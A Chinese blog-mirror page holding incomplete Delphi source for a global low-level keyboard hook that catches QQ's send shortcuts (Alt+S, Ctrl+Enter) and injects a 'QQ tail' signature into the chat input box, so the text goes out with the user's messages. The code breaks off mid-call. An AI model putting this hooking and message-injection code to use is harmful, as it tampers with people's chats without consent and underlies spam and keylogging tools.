zoukankan      html  css  js  c++  java
  • 钓子程序代源

    uses
    Windows,SysUtils,Messages,Registry,ShlObj,Types,Classes;
    const
    LLKHF_ALTDOWN =KF_ALTDOWN shr 8;
    WH_KEYBOARD_LL=13; //钩子种类,表示是低级键盘钩子

    type
    PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT;
    {这个结构包含了一个低级键盘钩子的输入事件,
    可以捕获键盘输入,具体查看MSDN}
    KBDLLHOOKSTRUCT=record
    vkCode:DWORD; //虚拟键码
    scanCode:DWORD; //扫描码
    flags:DWORD; //标志
    time:DWORD;
    dwExtraInfo:DWORD; //一些附加信息
    end;

    //------------------发送消息的过程-------------------//
    Procedure SendText;
    var
    mainhwnd:THandle; //聊天主窗体句柄
    texhwnd:THandle; //输入框句柄
    begin
    mainhwnd:=0;
    //查找当前的工作状态的窗体,#32770是窗口类
    mainhwnd:=FindWindowEx(GetForegroundWindow,mainhwnd,'#32770',nil);
    if mainhwnd<>0 then
    begin
    //查找输入框的句柄
    texhwnd:=FindWindowEx(mainhwnd,0,'AfxWnd42',nil);
    texhwnd:=FindWindowEx(texhwnd,0,'RICHEDIT',nil);
    //如果输入框里没有消息就取消发送
    if SendMessage(texhwnd,WM_GETTEXTLENGTH,0,0)<1 then exit;
    //取消输入框中文本的选中
    SendMessage(texhwnd,EM_SetSel,-1,-1);
    //向输入框中加入尾巴
    SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar(' '+'QQ尾巴 by Sirius!')));
    end;
    end;//----------------------------end.

    //-------------------钩子的回调函数----------------//
    function KeyHookFunc(nCode:Integer;w_Param:WPARAM;l_Param:LPARAM):LRESULT;stdcall;
    const VK_S=83; //Alt+S中的S的虚拟键码,在虚拟键码表上可以查看
    var
    bGetMsg:Boolean; //判断是否截获指定的消息
    pk:PKBDLLHOOKSTRUCT; //键盘钩子的结构体
    begin
    bGetMsg:=False;
    if nCode=HC_ACTION then
    begin
    case w_Param of //要截获的消息标识符,包括KeyDown和KeyUp
    WM_KEYDOWN, {MSDN中有详细说明}
    WM_SYSKEYDOWN,
    WM_KEYUP,
    WM_SYSKEYUP:
    begin
    //将消息包含的数据装入pk
    pk:=PKBDLLHOOKSTRUCT(l_Param);
    // 进行按键过滤
    bGetMsg :=(((pk^.vkCode = VK_S) and
    ((pk^.flags and LLKHF_ALTDOWN) <> 0)) or
    //上面截获的是Alt+S
    ((pk^.vkCode = VK_RETURN) and
    ((GetKeyState(VK_CONTROL) and $8000) <> 0)));
    //上面截获的是Ctrl+Enter
    end;
    end;
    end;
    if bGetMsg then
    begin
    SendText; //截获消息后向输入框里加上尾巴
    Result:=0; //将消息返回,尾巴就和别人输入的数据一起发送出去了
    end
    //如果没有截获指定消息就将向下传递
    else Result:=CallNextHookEx(0,nCode,w_Param,l_Param);
    end;//----------------------------end.

    //-------------------------下钩子
    KeyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,
    @KeyHookFunc,
    HInstance,0

  • 相关阅读:
    Douglas-Peucker 轨迹压缩算法
    Marching squares 算法 获取轮廓(contour tracing)
    创建Mesh->格子地图转NavMesh->可破坏墙壁
    StretchedBillboard 实现
    程序员的微创业
    买云服务器有推荐吗?国内知道有腾讯云、阿里云...等等,不知道该选哪个好了,另外优惠吗?
    我的阿里云5年
    2021阿里云、腾讯云、华为云、滴滴云评测比较
    终于找到可以一文多发的平台了!
    2019年最新阿里云主机优惠购买指南
  • 原文地址:https://www.cnblogs.com/martian6125/p/9631578.html
Copyright © 2011-2022 走看看